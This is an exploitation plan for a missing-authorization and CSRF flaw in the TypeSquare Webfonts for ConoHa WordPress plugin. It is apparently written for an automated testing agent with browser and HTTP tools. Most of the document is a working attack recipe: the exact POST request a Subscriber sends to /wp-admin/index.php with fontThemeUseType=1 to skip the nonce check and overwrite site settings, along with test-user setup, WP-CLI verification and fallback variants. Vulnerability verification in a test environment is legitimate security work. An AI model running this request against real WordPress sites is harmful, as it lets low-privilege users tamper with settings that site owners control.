Exploitation Research Plan - CVE-2026-8610

1. Vulnerability Summary

The TypeSquare Webfonts for ConoHa plugin (versions <= 2.0.4) contains a missing authorization vulnerability that allows authenticated users with Subscriber-level permissions or higher to modify site-wide plugin settings. The vulnerability exists because the plugin's settings update logic, likely hooked to admin_init, fails to verify the user's capabilities (e.g., manage_options) before updating options in the database. Additionally, certain logic branches (where fontThemeUseType is 1 or 3) skip nonce verification entirely, making the plugin also vulnerable to Cross-Site Request Forgery (CSRF).

2. Attack Vector Analysis

• Endpoint: Any page within the WordPress administrative interface (e.g., /wp-admin/index.php, /wp-admin/admin-post.php).
• Action Hook: admin_init (inferred from the "any wp-admin page" description).
• Vulnerable Parameters: fontThemeUseType, show_post_form, typesquare_fonttheme.
• Authentication: Authenticated (Subscriber or above).
• Preconditions: The plugin must be active. No specific plugin configuration is required to trigger the vulnerability.

3. Code Flow (Inferred)

1. An authenticated user (e.g., Subscriber) sends a POST request to /wp-admin/index.php.
2. WordPress initializes the admin environment, triggering the admin_init hook.
3. The plugin's handler (e.g., TypeSquare_Webfonts_Admin::save_settings or similar) executes.
4. The handler checks for the presence of the fontThemeUseType parameter in $_POST.
5. Authorization Failure: The handler does not call current_user_can( 'manage_options' ).
6. Nonce Bypass: If $_POST['fontThemeUseType'] is set to 1 or 3, the code branches away from or skips the check_admin_referer() call.
7. The plugin proceeds to call update_option() for:
   • typesquare_auth (using the value from fontThemeUseType)
   • show_post_form
   • typesquare_fonttheme

4. Nonce Acquisition Strategy

According to the vulnerability description:

• For fontThemeUseType values 1 and 3, no nonce verification is performed.
• Strategy: We will use fontThemeUseType=1 or fontThemeUseType=3 in our exploit to bypass the need for a nonce entirely. This confirms both the Authorization Bypass and the CSRF component.

If a nonce were required for other values, the strategy would be:

1. Navigate to the plugin settings page: /wp-admin/options-general.php?page=ts-webfonts-for-conoha (inferred slug).
2. Use browser_eval to extract the nonce from the form: browser_eval("document.querySelector('input[name=\"_wpnonce\"]')?.value").

5. Exploitation Strategy

We will perform a POST request as a Subscriber user to modify the plugin's settings.

Request Details

• Method: POST
• URL: {{BASE_URL}}/wp-admin/index.php
• Headers:
  • Content-Type: application/x-www-form-urlencoded
  • Cookie: [Subscriber Session Cookies]
• Body Parameters:
  • fontThemeUseType: 1 (Triggers the nonce-less branch and sets typesquare_auth)
  • show_post_form: 1
  • typesquare_fonttheme: vulnerable_theme_modified

Steps

1. Log in as a Subscriber user via the browser_navigate and browser_type tools.
2. Capture the session cookies.
3. Use http_request to send the malicious POST payload.
4. Verify the change using WP-CLI.

6. Test Data Setup

1. Install Plugin: Ensure ts-webfonts-for-conoha version 2.0.4 is installed and active.
2. Create User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

3. Check Initial State:

   wp option get typesquare_auth
   wp option get show_post_form
   wp option get typesquare_fonttheme
   

7. Expected Results

• The http_request should return a 200 OK or 302 Redirect.
• The WordPress database options typesquare_auth, show_post_form, and typesquare_fonttheme will be updated to the values provided in the POST request.

8. Verification Steps

After the exploit attempt, run the following WP-CLI commands:

1. Verify typesquare_auth:

   wp option get typesquare_auth
   # Expected: 1
   

2. Verify show_post_form:

   wp option get show_post_form
   # Expected: 1
   

3. Verify typesquare_fonttheme:

   wp option get typesquare_fonttheme
   # Expected: vulnerable_theme_modified
   

9. Alternative Approaches

If sending the request to /wp-admin/index.php does not trigger the admin_init logic (e.g., if the plugin checks for a specific page slug), target the settings page directly:

• URL: {{BASE_URL}}/wp-admin/options-general.php?page=ts-webfonts-for-conoha

If fontThemeUseType=1 fails to trigger the settings update, try fontThemeUseType=3. Both are identified as skipping nonce checks.

If the settings are only updated if a specific "submit" parameter is present (common in WordPress plugins), add an inferred submit parameter:

• submit=Save+Changes or typesquare_submit=1.